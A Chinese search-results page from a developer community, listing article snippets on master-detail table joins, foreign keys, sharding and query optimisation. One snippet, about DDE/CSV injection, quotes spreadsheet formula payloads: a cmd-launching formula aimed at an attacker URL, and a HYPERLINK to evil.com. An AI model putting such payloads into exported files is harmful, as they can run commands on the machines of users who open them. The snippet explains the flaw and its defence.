- 综合排序
- 最热优先
- 最新优先
- 来自专栏应用计算
第四篇 - 大主子表关联--SPL轻量级文件存储提速查询实践
这一篇介绍主键关联的提速。主表订单表和子表明细表的关联就是主键关联。SQL 中，这种关联仍用 JOIN 实现，在两个表都很大的情况下，常常出现计算速度非常慢的现象。 如果预先将主子表都按照主键有序存储，就可以使用归并算法实现关联。这种算法只需要对两个表依次遍历，不必借助外存缓存，可以大幅降低计算量和 IO 量。 esProc SPL 支持有序归并算法，可以大幅提升主子表关联计算性能。先做数据准备，把历史数据从数据库导出为 CTX 文件。在 ETL 中定义 Q4.etl：修改两个表的名字，加上 Q4。 =8group by o.order_date;执行时间是 40 秒，在主子表关联后计算去重计数，这两种计算 SQL 的性能都不佳。 2、思考：在自己熟悉的数据库中有没有大主子表关联？是否可以用有序归并方法提速？
20010编辑于 2025-10-20 - 来自专栏完美Excel
使用Python将多个Excel文件合并到一个主电子表格中
3.将数据从步骤2移动到主数据集（我们称之为“数据框架”）。 4.对多个文件，重复步骤2-3。 5.将主数据框架保存到Excel电子表格。 导入库 现在，让我们看看如何用Python实现上述工作流程。 我们使用这个库将Excel数据加载到Python中，操作数据，并重新创建主电子表格。 我们将从导入这两个库开始，然后查找指定目录中的所有文件名。 将多个Excel文件合并到一个电子表格中 接下来，我们创建一个空数据框架df，用于存储主电子表格的数据。 2.如果是，则读取文件内容（数据），并将其追加/添加到名为df的主数据框架变量中。 3.将主数据框架保存到Excel电子表格中。 简洁的几行代码将帮助你将所有Excel文件或工作表合并到一个主电子表格中。 图4 注：本文学习整理自pythoninoffice.com。
8.9K20编辑于 2022-11-16 - 来自专栏应用计算
第五篇 - 大主子表关联时的 EXISTS--SPL轻量级文件存储提速查询实践
大主子表之间进行 EXISTS 计算往往会导致较差的性能。这样的计算本质上是在做主键关联，如果能预先将主子表都按照主键有序存储，也可以使用有序归并算法有效提速。 esProc SPL 可以把主子表的 EXISTS 转化为有序归并，从而提升计算性能。下面通过订单表和订单明细表的例子，介绍这种情况的外置提速方法。 2、思考：在自己熟悉的数据库中有没有大主子表关联计算 EXISTS？是否可以用有序归并方法提速？
11010编辑于 2025-10-30 - 来自专栏crudapi
零代码实现一对一表关系和无限主子表级联保存
客户资料和客户：一对一（子主方向） [customerRelation] 建立子主方向一对一关系，客户资料customerProfile的客户编号customerId字段，指向客户customer表的编号 id字段，关系的英文名称customer用于查询关联对象的时候，设置导航属性名称为customer，和之前订单和客户多对一关系有点类似，关联对象都是customer对象，不过那个时候多个订单可以关联同一个客户 ，现在一个客户资料只能关联一个客户。 无限子表 通过设置表关系，一对多和一对一（主子方向）理论上可以无限关联下去，所有的表一次性级联保存，比如省市区通常可以达到3级子表，目录文件属于无限子表。 crudapi系统通过配置的方式实现了对象之间的关联，无需编程实现了主子表CRUD操作。
99830发布于 2021-08-21 - 来自专栏crudapi
「免费开源」基于Vue和Quasar的crudapi前端SPA项目实战之业务数据（七）
@filter-abort="item.abortFilterFn" v-model="item.value" :options="item.options" /> 对于多对一和一对一（子主方向 CTableList 新建数据时候作为子表采用该组件，CTableList采用q-table支持多行子表数据，然后可以嵌套CTableNew（一对一主子表）和CTableList（一对多主子表）。 通过上面4种类型的组件嵌套，可以支持无限主子表级联保存，比如省市区三级子表，目录文件无限级子表。 [listapi] API为/api/business/{name}，其中name为对象名称复数形式（兼容对象名称），查询参数如下： 参数 类型 描述 select string 选择查询需要的字段和关联子表 ，默认查询全部字段和关联子表 expand string 选择需要展开的关联主表，默认关联主表字段只查询id和name search string 全文检索关键字，通过内置的系统字段全文索引fullTextBody
1K30发布于 2021-09-08 - 来自专栏编程语言的世界
写 MySQL 联表查询时踩了坑！Left Join+Group By+Order By 排序失效，这样改才对
Left Join关联获取产品信息，又要按子表的predestine字段分组，还要按id降序取每组最新数据。 主表（sl_predestine）：存储产品信息，关键字段有id（主键，与子表predestine关联）、good（产品详情，需要关联查询）。2. 核心需求筛选出member=1的所有子表数据；用Left Join关联主表，获取对应的good（产品信息）；按子表的predestine字段分组（同一predestine对应同一类产品，要每组只留一条数据 具体步骤分两步：先写一个子查询，筛选member=1的子表数据，按predestine分组，同时用max(id)拿到每组最新数据的id（因为id自增，最大的就是最新的），生成一个临时表；用临时表的id和子表关联 后来发现，只要先想清楚“先做什么、再做什么”，把复杂查询拆成“子查询+主查询”，问题就会简单很多。希望我的踩坑经历，能帮你下次写SQL时一次过～
62010编辑于 2025-09-17 - 来自专栏DBA随笔
MySQL 的3个小知识点，你知道吗？
set default和set null，其中， cascade：表示级联，父表的动作会级联到主表中； restrict：表示严格模式，它是MySQL特有的关键字，表示父表的上不能直接删除或者更新有外键关联的记录 ； no action：表示严格模式，标准SQL关键字，在MySQL中，它和restrict的意思相同； set default：父表上的记录删除后，关联的子表记录会设置成默认值； set null：父表上的记录删除后 ，关联的子表记录会设置成null值。 03 explain语法也能卡主MySQL？ ----------+----------------+ 2 rows in set, 1 warning (10.01 sec) 通常的概念中，explain语法是查看执行计划的，不应该卡主MySQL
99720编辑于 2022-12-07 - 来自专栏卓文见识
DDE注入（CSV）漏洞原理及实战案例全汇总
---- 1、漏洞原理： 1）Excel解析机制 第一个需要知道的知识点是，在Excel任何以'='字符开头的单元格都将被电子表格软件解释为公式，如果我们在其中输入“=2+5”，则表格会显示为： ? 当然使用第一种攻击方式也可以实现这种攻击效果，如： =6-5 cmd|’ /C “C:\Program Files\InternetExplorer\iexplore.exe” http://<attackers A0) 5、=HYPERLINK("https://evil.com") 6、防御手段： 1）一般的防御手段为，在生成电子表格时，以任何危险符号开头的字段应该以单引号、撇号（'）字符或空格作为前缀，确保单元格不被解释为公式
11.6K20发布于 2019-09-29 - 来自专栏姜同学
数据库的双机热备与读写分离
配置完成之后，主节点就开启binlog日志，在从节点的配置中只需要指定从节点在集群中的编号即可，在从节点中会开前io和sql两个线程，io线程负责登陆主节点监控和抓取主节点的binlog日志信息到当前节点的 ，数据变动很大 怎么办被关联的表还能用作全局表吗，如果可以，那么我们将表 进行水平拆分放在不同的库还有什么意义？ 所以就有了ER分片表的 概念，连接ER分片表之前要先理解什么是主表，什么是子表，子表 的数据是基于主表而存在，假设有两张表，一张表是北京市的父亲表 （父亲id,父亲姓名），另外一张表是北京市的儿子表（儿子 id,儿子姓名） 为了使两张表产生关联，父亲id作为主键放到儿子表中。 这时候儿子 表是基于父亲表存在的，如果父亲表没有了，就没有了关联的意义， 父亲表就是主表，儿子表就是子表，在使用分片计算逻辑时，对父亲 id进行运算就OK了，这就是ER分片表的设计思路。
1.1K30编辑于 2022-10-27 分库分表之实战-sharding-JDBC绑定表配置实战
大家好，我是工藤学编程 一个正在努力学习的小博主，期待你的关注 实战代码系列最新文章 C++实现图书管理系统（Qt C++ GUI界面版） SpringBoot实战系列 【SpringBoot实战系列 Sharding-Jdbc绑定表 在分布式数据库分片中，多表关联查询一直是性能优化的难点。Sharding-Jdbc提供的绑定表机制，正是为解决同规则分片子表关联问题而生。 没有绑定表时，多表关联会面临两个严重问题： 笛卡尔积查询灾难 假设订单表和订单项表各分为3个分片，未配置绑定表时，Sharding-Jdbc会执行3×3=9次跨分片关联（每个分片的主表关联所有分片的子表 而绑定表通过强制同分片关联，让关联查询仅在相同分片内执行（如分片1的主表只关联分片1的子表），从根本上避免了笛卡尔积，同时保证数据关联的准确性。 六、总结 绑定表是Sharding-Jdbc优化同规则分片子表关联的核心机制，通过约束分片规则一致性，从根源上解决了多表关联的笛卡尔积问题。
23510编辑于 2025-12-22- 来自专栏mysql
hhdb数据库介绍(10-11)
新增子表子表： 子表为关联表，是一组特殊的分片表集合，包括一张父表与至少一张子表，子表数据所属的数据节点由父表数据所属的数据节点决定。 子表记录的存储位置依据于父表记录的存储位置，在JOIN条件为关联字段的情况下能有效解决跨数据节点JOIN操作的效率和性能问题。 在添加表信息页面，选择子表然后输入子表的名称、子表关联字段，点击“保存”，即添加了子表的配置信息。表信息页面父表记录下添加子表：在表信息页面，选择表类型是“水平分片表”且表结构为“未创建”的记录。 点击“+”号，然后输入子表名称、子表关联字段、父表关联字段点击“√”，即添加了子表的配置信息。注意假如该父表下需要添加多张子表，则填写的父表关联字段必须一致。表结构已创建的父表不允许添加子表。 若当前主3325端口无法连接则“表结构”、“表结构详情”两列内容为空。
39410编辑于 2024-12-05 - 来自专栏诡途的python路
外键的设置
但如果在较早的版本则需要显式建立； #创建索引 CREATE INDEX 字段1 ON test(字段1) #对test2创建test的索引，在test2下执行，test2为从，test为主 这一步也是博主自己刚开始研究是碰到的最大的坑 ON UPDATE CASCADE; #父表更新子表更新方式 2、可视化界面设置 选中表—》关/系/外键 | F10 ——》外部键 约束名自动生成不用管，重点是后面的更新和删除关键字 三、相关关键字含义 外键约束（表2）对父表（表1）的含义: 在父表上进行update/delete以更新或删除在子表中有一条或多条对应匹配行的候选键时，父表的行为取决于：在定义子表的外键时指定的on ，父表删除时如果子表有匹配的项，删除失败；ON UPDATE CASCADE ON DELETE RESTRICT；②父表更新时子表也更新，父表删除时子表匹配的项也删除。 CASCADE ON DELETE CASCADE； 更多知识链接： 1、外键详解知识点： https://www.cnblogs.com/microtiger/p/7814177.html 2、两表关联更新操作
3.8K30编辑于 2022-05-09 - 来自专栏mysql
hhdb数据库介绍(4)
子表 通过父表（水平分片表）的关联字段将父子表关联，子表数据按照关联字段的数值跟随其父表关联字段位置进行存储。创建子表有利于减少一部分跨库数据操作，但目前已不再推荐使用。 Keepalived负责计算节点的主、备切换和VIP漂移。 负载均衡 HHDB Server的计算节点集群模式可通过LVS/F5实现高可用和负载均衡。 目前支持三种集群模式，分别为：单节点、主备节点、多节点。 单节点 集群模式为单节点时，实际部署的架构中只有一个计算节点实例，也叫作单主集群模式。 主备节点 集群模式为主备节点时，实际部署的架构中会有两个计算节点实例，分别为主计算节点、备计算节点，也叫作HA集群模式。 高可用环境重建主要对主备计算节点以及Keepalived相关配置进行对应修改，以满足遇到故障可自动切换的条件。
23010编辑于 2025-03-07 - 来自专栏智能大数据分析
Google云计算原理与应用（二）
GFS 使用 Chubby 选取一个 GFS 主服务器，Bigtable 使用 Chubby 指定一个主服务器并发现、控制与其相关的子表服务器。 如果该节点没有子节点的话则执行删除操作 Acquire() 获取锁 Release() 释放锁 GetSequencer() 返回一个sequencer SetSequencer() 将sequencer和某个句柄进行关联 （2）获取子表的位置信息。 （3）保存Bigtable的模式信息及访问控制列表。 （四）主服务器 当一个新的子表产生时，主服务器通过一个加载命令将其分配给一个空间足够的子表服务器。 创建新表、表合并以及较大子表的分裂都会产生一个或多个新子表。 分割完成之后子服务器需要向主服务发出一个通知。 主服务器必须对子表服务器的状态进行监控，以便及时检测到服务器的加入或撤销。 Bigtable 中 Chubby 的主要作用： 步骤 1：从Chubby中获取一个独占锁，确保同一时间只有一个主服务器 步骤 2：扫描服务器目录，发现目前活跃的子表服务器 步骤 3：与所有的活跃子表服务器取得联系以便了解所有子表的分配情况
86010编辑于 2025-01-22 - 来自专栏数据和云
深入解析：半连接与反连接的原理和等价改写方法
执行计划最常见的有下面的两个： NESTED LOOPS SEMI HASH JOIN SEMI 1.1 NESTED LOOP SEMI 执行步骤： 优化器选择主查询中的表为驱动表； 选择子查询中的表为被驱动表 什么是反连接 两表关联只返回主表的数据，并且只返回主表与子表没关联上的数据，这种连接就叫反连接。反连接一般就是指的 NOT IN 和 NOT EXISTS。 Hint /*+ use_nl(a,b) leading(b) */ 在反连接中驱动表不会反生变化，因为反连接等价于外连接+子表连接条件 is null，使用嵌套循环进行关联的时候无法更改驱动表，驱动表会被固定为主表 外连接是只返回主表的数据，子表只返回关联的数据，加上子表条件 is null 就是只返回没有关联上的数据。 我们看下这条 SQL： selecta. 加上 b.deptno is null 就返回了没有关联上的数据。
2.2K70发布于 2018-03-29 - 来自专栏数据库新发现
深入解析：半连接与反连接的原理和等价改写方法
执行计划最常见的有下面的两个： NESTED LOOPS SEMI HASH JOIN SEMI 1.1 NESTED LOOP SEMI 执行步骤： 优化器选择主查询中的表为驱动表； 选择子查询中的表为被驱动表 1.2 HASH JOIN SEMI 执行步骤： 优化器把主查询中的表当作驱动表，把 select 列和 join 列读入 pga 中，并把 join 列进行 hash 运算构建 hash table； 什么是反连接 两表关联只返回主表的数据，并且只返回主表与子表没关联上的数据，这种连接就叫反连接。反连接一般就是指的 NOT IN 和 NOT EXISTS。 Hint /*+ use_nl(a,b) leading(b) */ 在反连接中驱动表不会反生变化，因为反连接等价于外连接+子表连接条件 is null，使用嵌套循环进行关联的时候无法更改驱动表，驱动表会被固定为主表 外连接是只返回主表的数据，子表只返回关联的数据，加上子表条件 is null 就是只返回没有关联上的数据。 我们看下这条 SQL： selecta.
92210发布于 2019-05-26 - 来自专栏大数据-BigData
基于Flink+Hudi在兴盛优选营销域实时数仓的实践
在procesElement1方法里面[图4]，支付券主表会去支付券子表存储的状态数据，如果能在状态里找到对应的支付券子表数据，我们就把它们关联起来然后输出出去，并通过迭代器把已经找的支付券子表数据从状态中移除 同理procesElement2方法里面[图6]，唯一不同的是支付券子表通过在状态里面找到的支付券主表数据不能移除，因为他们之间的关联关系是一对多，如果一但某条流数据发生延迟，那个一对多关系的一是总是要往下游输出 以免状态过大导致程序不稳定，通过从现有生产跑的任务观察来看，流入第二道处理逻辑的数据量不会太多，经过两道程序最后我们把正常双流join的数据跟迟到的双流join数据union起来成一条新的完整的流跟订单子表关联 ，跟订单子表关联的逻辑基本跟之前概述的是一样的，后面不做过多介绍。 本文为从大数据到人工智能博主「xiaozhch5」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
66710编辑于 2022-12-31 - 来自专栏crudapi
MySql数据库列表数据分页查询、全文检索API零代码实现
[listapi] API为/api/business/{name}，其中name为对象名称复数形式（兼容对象名称），查询参数如下： 参数 类型 描述 select string 选择查询需要的字段和关联子表 ，默认查询全部字段和关联子表 expand string 选择需要展开的关联主表，默认关联主表字段只查询id和name search string 全文检索关键字，通过内置的系统字段全文索引fullTextBody select [select1] 默认情况下会选择所有字段，select如果不指定表示所有的意思 [select2] 如果指定了字段，就查询部分字段，比如只查询id，name和mobile，其它字段和子表 关联表扩展expand [expand1] 子主关系中，默认只查询主表id和name，避免主表查询层次太深。 [expand2] 如果指定expand关联对象名称，就查询主表所有字段，适用不需要延时加载的场景，比如查询客户资料时候一起查询客户customer完整信息。
2K11发布于 2021-08-22 - 来自专栏数据库知识开放麦
多态关联在数据库设计中的应用和解决方案
查询时可以根据polymorphic表中的post_type字段来判断关联的是哪个子表。 针对多态关联的缺点，在数据库设计中，可以使用以下两种方法来处理多态关联：类型标识符法类型标识符法是在父表中添加一个列来标识子表的类型，这个列的值可以是一个枚举值或者一个数字，用来表示子表的类型。 在子表中，可以使用这个类型标识符来区分不同的子表类型。这种方法适用于子表类型比较少的情况，而且子表之间的结构比较相似。 ，这个关联表包含了父表和子表之间的关系信息，同时还包含了子表的类型信息。 在子表中，可以使用一个外键来关联到关联表中的记录，从而实现多态关联。这种方法适用于子表类型比较多的情况，而且子表之间的结构比较不同。
1.1K40编辑于 2023-09-14 - 来自专栏bisal的个人杂货铺
EDB无法删除分区子表的错误
a删除关联，再drop删除子表，提示无法删除，从错误提示看，主表a要依赖子表b，建议删除主表a，达到删除子表b的效果。 以inherits+check的方式，创建子表t_b。 3. 使用no inherit删除主子表关联关系。 4. 执行drop，可以正常删除，并未出现报错。 P.S. 其实即使不用no inherit，可以直接删除这张子表。 ? 为什么这次没有报错？究竟主表有什么依赖于子表的？ 一开始，我是怀疑有什么外键之类的属性，没有删除，导致主表依赖于子表，或者no inherit没有真正删除关联，但是这些猜测，都一一验证不对。 通过询问建表的操作，才发现个细节。 以inherit创建子表b。 3. 删除子表b，此时提示主表a依赖于子表b。 4. 使用no inherit删除关联，删除子表b，还是提示主表a依赖于子表b。 5. 只有删除主表a，才能删除子表b。
2.5K30发布于 2019-02-28
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号